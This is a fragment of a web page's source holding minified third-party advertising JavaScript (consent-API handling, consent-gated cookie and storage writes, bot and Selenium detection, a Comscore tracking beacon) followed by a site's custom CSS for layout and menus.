E=`__adthriveTcfApiStub`,D=`__tcfapiLocator`,O=[],k=!1,A,j=e=>typeof e==`function`&&!!e[E],M=(e,t=2)=>{let n=O.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(O.splice(n,1),!0)},N=()=>{let e=()=>{if(document.querySelector(`iframe[name="${D}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=D,document.body.appendChild(t)};e()},P=()=>{let e=window.__tcfapi;return typeof e==`function`&&!j(e)?e:void 0},F=()=>{let e=P();if(e)for(;O.length>0;){let t=O.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},I=()=>
359{if(k)return;if(k=!0,P()){F();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!j(t)&&F()}})},L=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return O;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:A,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(A=r,typeof n==`function`&&n(`set`,!0));return;default:O.push([e,t,n,r])}};return Object.defineProperty(e,E,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},R=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},z=()=>{if(I(),P())return!1;let e=!1;return j(window.__tcfapi)||(window.__tcfapi=L(),R(),e=!0),N(),window.__tcfapiQueue=O,e},B=(e,t=2,n,r)=>{if(e===void 0)return;let i=P();i?i(e,t,n,r):(O.push([e,t,n,r]),z())},V=(e,t=2,n,r)=>{B(e,t,n,r)},H=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,M(a,2),n(Error(`TCF API request timed out`)))},e)),V(`getTCData`,2,a)}),U=[`mcmpfreqrec`],W=new class extends T{constructor(...e){super(...e),a(this,`name`,`BrowserStorage`),a(this,`disable`,!1),a(this,`gdprPurposes`,[1]),a(this,`_sessionStorageHandlerQueue`,[]),a(this,`_localStorageHandlerQueue`,[]),a(this,`_cookieHandlerQueue`,[]),a(this,`_gdpr`,void 0),a(this,`_shouldQueue`,!1),a(this,`_storageConsentGranted`,void 0),a(this,`_storageConsentUpdateInFlight`,0),a(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await H();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}
359),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
359; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!U.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},G=(e,t)=>{let n=document.getElementsByTagName(`script`)[0];n&&n.parentNode&&!t?n.parentNode.insertBefore(e,n):document.body.appendChild(e)},K=(e,t=!1,n=!1,r=!1,i=null)=>new Promise((a,o)=>{let s=document.createElement(`script`);s.type=`text/javascript`,s.src=e,s.defer=n,s.async=r,i&&Object.keys(i).forEach(e=>{s.setAttribute(`data-${e}`,i[e])}),s.addEventListener(`error`,()=>o(Error(`Failed to import script ${e}`))),s.addEventListener(`load`,()=>a(s)),G(s,t)}),q=()=>({width:Math.max(document.documentElement.clientWidth||0,window.innerWidth||0),height:Math.max(document.documentElement.clientHeight||0,window.innerHeight||0)}),J=(e=window.navigator.userAgent)=>(e??``).toLowerCase().includes(`raptivesiteinspector`),Y=`^Mozilla/5\\.0$,A6-Indexer,addthis,admantx,agentslug,alexa,anderspink,apache-httpclient,apachebench,apis-google,apis,appengine-google,ask jeeves,asynchttpclient,awe\\.sm,baidu,barkrowler,biglotron,bingpreview,bot,brandverify,bubing,butterfly,buzztalk,cf-uc,chatgpt,check_http,cloudflare,cmradar/0\\.1,coldfusion,comodo ssl checker,convera,copypants,crawler,crowsnest,curl,dap/nethttp,daumoa,deepseek,deepseekbot,developers\\.google\\.com/+/web/snippet/,digitalpersona fingerprint software,drupact,duckduck,elb-healthchecker,embedly,eoaagent,europarchive,eventmachine httpclient,evrinid,exaleadcloudview,ez publish,ezooms,facebookexternalhit,feedburner,feedfetcher-google,findlink,findthatfile,flipboardproxy,garlik,genieo,getprismatic\\.com,ghost,gigablast,go http package,google( page speed insights| web preview|google-site-verification|-structured-data-testing-tool|-structureddatatestingtool),googleweblight,gpt,gptbot,hatena,headless,heritrix,htmlparser,http(_request2|client|s|unit),httrack,hubspot,ia_archiver,ichiro,icoreservice,idmarch,in(agist|sieve|stapaper),insights,ips-agent,jack,jakarta commons,java,jetslide,jobseeker,js-kit,kimengi,knows\\.is,kraken,laconica,libwww,lighthouse,linode,lipperhey,longurl,ltx71,lwp-trivial,mappydata,mastodon,mediapartners-google,megaindex\\.ru,metauri,mfe_expand,mixnode,mon(tastic|tools),monitor,moreover,mrchrome,nberta,net(craft|researchserver|state|vibes),newrelicpinger,newsme,newspaper,nightmare,ning,nmap,nutch,online-domain-tools,openai,paessler,page(peek|sinventory|thing),panopta,peerindex,phantomjs,pingdom,plukkie,proximic,pu_in,publiclibraryarchive\\.org,python-(httplib2|requests|urllib),python,quanti,queryseeker,quicklook,qwanti,re-animator,readability,rebelmouse,relateiq,riddler,rssmicro,ruby,scraper,scrapy,seo-audit,seodiver,seokicks,shopwiki,shortlinktranslate,siege,sincera,sistrix,site24x7,siteexplorer,skypeuripreview,slack,slurp,socialrank,sogou,spider,spinn3r,squider,statuscake,stripe,summify,teeraid,teoma,test certificate info,tineye,traackr,ttd-content,tweetedtimes,twikle,twitjobsearch,twitmunin,twurly,typhoeus,unwindfetch,uptim(e|ia),uptm\\.io,vagabondo,vb project,vigil,Viv/2,vkshare,wappalyzer,watchsumo,webceo,webdatascout,webmon,webscout,wesee,wget,whatsapp,whatweb,wikido,wordpress,wormly,wotbox,xenu link sleuth,xing-contenttabreceiver,yandex,yanga,yeti,yff35,yourls,zelist\\.ro,zibb`.split(`,`),X=m((e=Y)=>{let t=window.navigator.userAgent.toLowerCase();return J(t)?!1:new RegExp(e.join(`|`),`i`).test(t)});var Z=class{constructor(){a(this,`runTests`,()=>{let e=!1;return window&&document&&(e=[`webdriver`in window,`_Selenium_IDE_Recorder`in window,`callSelenium`in window,`_selenium`in window,`__webdriver_script_fn`in document,`__driver_evaluate`in document,`__webdriver_evaluate`in document,`__selenium_evaluate`in document,`__fxdriver_evaluate`in document,`__driver_unwrapped`in document,`__webdriver_unwrapped`in document,`__selenium_unwrapped`in document,`__fxdriver_unwrapped`in document,`__webdriver_script_func`in document,document.documentElement.getAttribute(`selenium`)!==null,document.documentElement.getAttribute(`webdriver`)!==null,document.documentElement.getAttribute(`driver`)!==null].some(e=>e)),e})}isSelenium(){return this.runTests()}};let Q=()=>
359{if(navigator&&navigator.userAgent&&X())return`uav`},te=()=>{let e=q();if(e.width>5e3||e.height>5e3)return`vpv`},ne=()=>{if(new Z().isSelenium())return`selenium`},re=()=>{if(J())return;let e=[te(),Q(),ne()].filter(e=>!!e);return e.length?e:void 0},ie=e=>(e==null?void 0:e[2])===`Y`,$=()=>ie(W.readExternalCookie(`usprivacy`));re()||$()||(()=>{try{var e,t,n,r,i,a,o,s,c,l,u;let d=(e=window.adthriveCLS)==null?void 0:e.siteAds,f=d==null?void 0:d.adOptions;if((f==null||(t=f.usCmpClickWrap)==null?void 0:t.enabled)===!0)return!0;let p=window.adthrive,m=p==null||(n=p.siteAds)==null?void 0:n.adOptions,h=m==null?void 0:m.usCMP,g=!(p==null||(r=p.siteAds)==null||(r=r.siteAdsProfiles)==null)&&r.length?p.siteAds:d,_=g?w(g):null,v=p==null||(i=p.core)==null?void 0:i.region,y=(m==null||(a=m.californiaPrivacyPopup)==null?void 0:a.enabled)===!0&&v===`CA`,b=(m==null||(o=m.thirdPartyCmp)==null?void 0:o.enabled)===!0||(p==null||(s=p.deliveryFeatures)==null?void 0:s.some(e=>e.startsWith(`pubProvidedCmp-`))),x=(_==null||(c=_.adOptions)==null||(c=c.usCMP)==null?void 0:c.clickWrapMode)===!0||(_==null||(l=_.experiment)==null?void 0:l.experimentChoices.some(e=>{var t;return((t=e.adOptions)==null||(t=t.usCMP)==null?void 0:t.clickWrapMode)===!0}))===!0;return x&&(!h||!v)?!0:((f==null||(u=f.usCMP)==null?void 0:u.clickWrapMode)===!0||(h==null?void 0:h.clickWrapMode)===!0||x||ee.isRolloutEnabled(`us-cmp-click-wrap-mode`))&&(h==null?void 0:h.enabled)===!0&&!!(v&&h.regions.includes(v))&&h.strictMode!==!0&&!y&&!b}catch{return!1}})()||(()=>{let e=`unknown`;return typeof Intl<`u`&&typeof Intl.DateTimeFormat==`function`&&typeof Intl.DateTimeFormat().resolvedOptions==`function`&&(e=Intl.DateTimeFormat().resolvedOptions().timeZone||`unknown`),e.startsWith(`America/`)})()&&(()=>{let e=`6035453`,t=$()?`0`:`1`,n={c1:`2`,c2:e,cs_fpid:W.readExternalCookie(`_pubcid`)||W.readExternalLocalStorage(`_pubcid`),cs_fpit:`o`,cs_fpdm:`*null`,cs_fpdt:`*null`,options:{enableFirstPartyCookie:!0},cs_ucfr:t||`0`};window._comscore=window._comscore||[],window._comscore.push(n),K(`https://sb.scorecardresearch.com/cs/${e}/beacon.js`).catch(e=>{p.error(`ComscoreTrackerComponent`,`init`,`Error during Comscore beacon.js import: `,e)})})()})();</script>
359<script data-no-optimize='1' data-cfasync='false' id='cls-disable-ads-6f1ed98'>var cls_disable_ads=(function(e){window.adthriveCLS.buildDate=`2026-09-16`,Object.defineProperty(e,Symbol.toStringTag,{value:`Module`});let t=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},n=()=>window.adthriveCLS,r={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},i=e=>{let t=window.location.href;return e.some(e=>new RegExp(e,`i`).test(t))};function a(e){"@babel/helpers - typeof";return a=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},a(e)}function o(e,t){if(a(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(a(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function s(e){var t=o(e,`string`);return a(t)==`symbol`?t:t+``}function c(e,t,n){return(t=s(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l=class{constructor(e){this.adthrive=e,c(this,`all`,!1),c(this,`content`,!1),c(this,`recipe`,!1),c(this,`video`,!1),c(this,`locations`,new Set),c(this,`reasons`,new Set),(this.urlHasEmail(window.location.href)||this.urlHasEmail(window.document.referrer))&&(this.all=!0,this.reasons.add(`all_email`));try{this.checkCommandQueue()}catch(e){t.error(`ClsDisableAds`,`checkCommandQueue`,e)}}checkCommandQueue(){this.adthrive&&this.adthrive.cmd&&this.adthrive.cmd.forEach(e=>{let t=e.toString(),n=this.extractAPICall(t,`disableAds`);n&&this.disableAllAds(this.extractPatterns(n));let r=this.extractAPICall(t,`disableContentAds`);r&&this.disableContentAds(this.extractPatterns(r));let i=this.extractAPICall(t,`disablePlaylistPlayers`);i&&this.disablePlaylistPlayers(this.extractPatterns(i))})}extractPatterns(e){let t=e.match(/["'](.*?)['"]/g);if(t!==null)return t.map(e=>e.replace(/["']/g,``))}extractAPICall(e,t){let n=RegExp(t+`\\((.*?)\\)`,`g`),r=e.match(n);return r===null?!1:r[0]}disableAllAds(e){(!e||i(e))&&(this.all=!0,this.reasons.add(`all_page`))}disableContentAds(e){(!e||i(e))&&(this.content=!0,this.recipe=!0,this.locations.add(r.Content),this.locations.add(r.Recipe),this.reasons.add(`content_plugin`))}disablePlaylistPlayers(e){(!e||i(e))&&(this.video=!0,this.locations.add(`Video`),this.reasons.add(`video_page`))}urlHasEmail(e){return e?/([A-Z0-9._%+-]+(@|%(25)*40)[A-Z0-9.-]+\.[A-Z]{2,})/i.exec(e)!==null:!1}};let u=n();return u&&(u.disableAds=new l(window.adthrive)),e.ClsDisableAds=l,e})({});</script>
359<style id="wp-custom-css"> 360.container { 361 padding-right: 0px; 362 padding-left: 0px; 363} 364 365/* Header/primary menu */ 366 367.inside-header { 368 display: flex; 369 align-items: center; 370} 371 372.site-branding { 373 order: 1; 374} 375 376.header-widget { 377 order: 2; 378 margin-left: auto; 379 margin-right: 20px; 380} 381 382.main-navigation { 383 order: 3; 384} 385 386.nav-float-right .header-widget .widget { 387 padding-bottom: 0; 388} 389 390/* Secondary Menu */ 391.site-content > div { 392 left: unset !important; 393} 394 395#left-sidebar { 396 order: -1; 397} 398 399#left-sidebar .inside-left-sidebar { 400 position: -webkit-sticky; 401 position: sticky; 402 top: 10px; 403} 404} 405 406.inside-navigation p { 407 margin-bottom: 0; 408} 409 410.inside-article { 411 padding-left: 5px!important; 412 padding-right: 5px!important; 413 padding-top: 0px!important; 414} 415 416 417 418/* FacetWP CSS */ 419 420.ba-archive-image { 421 border-radius: 15px; 422 height: 250px; 423 width: 400px; 424 object-fit: cover; 425} 426 427 428.fwpl-result { 429 background-color: #f9f9f9; 430 padding: 10px; 431 border-radius: 15px; 432 box-shadow: 0px 0px 6px rgba(0, 0, 0, 0.15); 433} 434 435.book-title-facet { 436 font-weight: 500; 437 font-size: 1.3em; 438} 439 440.author-name-facet { 441 font-size: 25px; 442 font-weight: 500; 443} 444 445.fs-dropdown { 446 width: max-content!important; 447} 448 449.fs-label-wrap { 450 border-radius: 10px; 451 box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.1); 452 padding: 5px; 453} 454 455select { 456 border-radius: 10px; 457 box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.1); 458 padding: 9px; 459 width: max-content!important; 460 color: #222; 461} 462 463#kt-layout-id_dc493a-33 > .kt-row-column-wrap { 464 margin-bottom: -50px!important; 465} 466 467#wps-row.wps-shortcode-wrapper { 468 width: 100%!important; 469} 470 471#kt-info-box_3f07c3-d5 .kt-blocks-info-box-learnmore:hover { 472 color: #fff!important; 473 text-decoration: none; 474} 475 476@media(max-width: 768px) { 477 #right-sidebar { 478 display: none; 479 } 480} 481 482 483@media (max-width: 768px) { 484.facetwp-facet-author_name .fs-dropdown { 485right: 44px; 486} 487} 488 489.archive article .inside-article { 490 background-color: #body:not(.home) .inside-article { 491 padding: 20px; 492 493 margin-top: 0px!important; 494} 495; 496 transition: background-color 300ms ease-in-out; 497 padding: 20px!important; 498 border-radius: 24px; 499 box-shadow: 1px 1px 4px rgba(0, 0, 0, 0.25); 500} 501 502.archive article:hover .inside-article { 503 background-color: #ddecf7; 504 box-shadow: 2px 2px 8px rgba(0, 0, 0, 0.25); 505} 506 507.kt-row-column-wrap a:hover { 508 text-decoration: none; 509} 510 511/* Secondary menu sticky */ 512.secondary-navigation { 513 position: -webkit-sticky; 514 position: sticky; 515 top: 0; 516} 517 518/* Secondary navigation menu CSS (when to go to mobile width) */ 519@media (max-width: 768px) { 520 521 .secondary-navigation .menu-toggle, 522 .secondary-navigation .mobile-bar-items, 523 .sidebar-nav-mobile:not(#sticky-placeholder) { 524 display: block; 525 } 526 527 .secondary-navigation ul, 528 .gen-sidebar-nav { 529 display: none; 530 } 531 532 [class*=ânav-float-â] .site-header .inside-header>* { 533 float: none; 534 clear: both; 535 } 536} 537 538/* Author Box CSS */ 539.author-box{ 540 background: #ffffff; 541 padding: 40px; 542 overflow:hidden; 543 margin-top: 20px; 544 margin-bottom: 20px; 545 box-shadow: 0 0px 1px rgba(192,192,192,0.3), 0 1px 4px rgba(217, 217, 217); 546} 547.author-box-avatar{ 548 float: left; 549 margin: 0 20px 0 0; 550} 551.author-box-avatar img{ 552 border-radius:100%; 553 border:5px solid #f1f1f1; 554} 555.author-box-description h5{ 556 font-size: 22px; 557 margin-bottom: 10px; 558 font-weight: bold; 559 text-transform: capitalize; 560} 561 562/* Remove category bottom of posts */ 563.cat-links { 564 display: none; 565} 566 567/* Add box shadow to dark purple element (material design) */ 568 569.secondary-navigation .main-nav ul li:hover > a { 570 transition: all 300ms; 571} 572 573.secondary-navigation .main-nav a { 574 transition: all 400ms; 575} 576 577/* Ripple magic material design secondary menu */ 578@media (min-width: 768px) { 579.secondary-navigation .main-nav a { 580 position: relative; 581 overflow: hidden; 582} 583 584.secondary-navigation .main-nav a:after { 585 content: ''; 586 position: absolute; 587 top: 50%; 588 left: 50%; 589 width: 5px; 590 height: 5px; 591 background: rgba(216, 216, 216, .6); 592 opacity: 0; 593 border-radius: 100%; 594 transform: scale(1, 1) translate(-50%); 595 transform-origin: 50% 50%; 596 597} 598 599@keyframes ripple { 600 0% { 601 transform: scale(0, 0); 602 opacity: 1; 603 } 604 20% { 605 transform: scale(25, 25); 606 opacity: 1; 607 } 608 100% { 609 opacity: 0; 610 transform: scale(40, 40); 611 } 612} 613 614.secondary-navigation .main-nav a:focus:not(:active)::after { 615 animation: ripple 0.7s ease-out; 616} 617} 618 619/* Fix WP Shortcode row/section mobile issue */ 620@media (max-width: 865px) { 621.wps-shortcode-wrapper .wps-column ul { 622 margin-left: 10px; 623 max-width: 92%; 624 padding-right: 35px; 625 padding-left: 20px; 626}} 627 628@media (max-width: 865px) { 629 .category-38 #wps-row { 630 width: calc(96% + 30px) !important; 631}} 632 633/* Ripple magic */ 634#primary-menu a { 635 position: relative; 636 overflow: hidden; 637} 638 639#primary-menu a:after {
